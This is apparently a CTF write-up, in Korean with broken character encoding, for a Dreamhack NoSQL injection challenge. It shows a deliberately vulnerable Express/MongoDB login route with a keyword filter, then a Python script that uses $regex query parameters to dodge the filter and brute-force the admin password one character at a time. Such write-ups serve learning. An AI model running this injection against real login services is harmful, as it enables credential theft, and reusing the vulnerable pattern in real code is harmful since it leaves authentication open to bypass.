[2025-07-14] Mango

๐Ÿฆฅ ๋ณธ๋ฌธ

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

  • ๋ฌธ์ œ์˜ flag๋Š” admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ์ด๋‹ค.
  • Blind NoSQLi๋ฅผ ํ†ตํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค
    • ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ •๊ทœ์‹์— ๋งž์œผ๋ฉด admin์ด ๋‚˜ํƒ€๋‚˜๊ณ  ์•„๋‹ˆ๋ฉด undefined๊ฐ€ ๋‚˜ํƒ€๋‚œ๋‹ค
    • ์•„์ด๋”” admin ์ž์ฒด๋Š” ํ•„ํ„ฐ๋งํ•˜๋ฏ€๋กœ dmin์ด๋‚˜ ad.in ๊ฐ™์€ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•œ๋‹ค

ํ’€์ด


```python
import requests, string

HOST = 'http://host3.dreamhack.games:20622'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=dmin&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

```

ํ•ด๋‹น ์ฝ”๋“œ๋กœ ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ์„ ํ•ด์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฐ„๋‹จํ•œ ๋ฌธ์ œ์˜€๋‹ค.

Categories:

Updated:

Leave a comment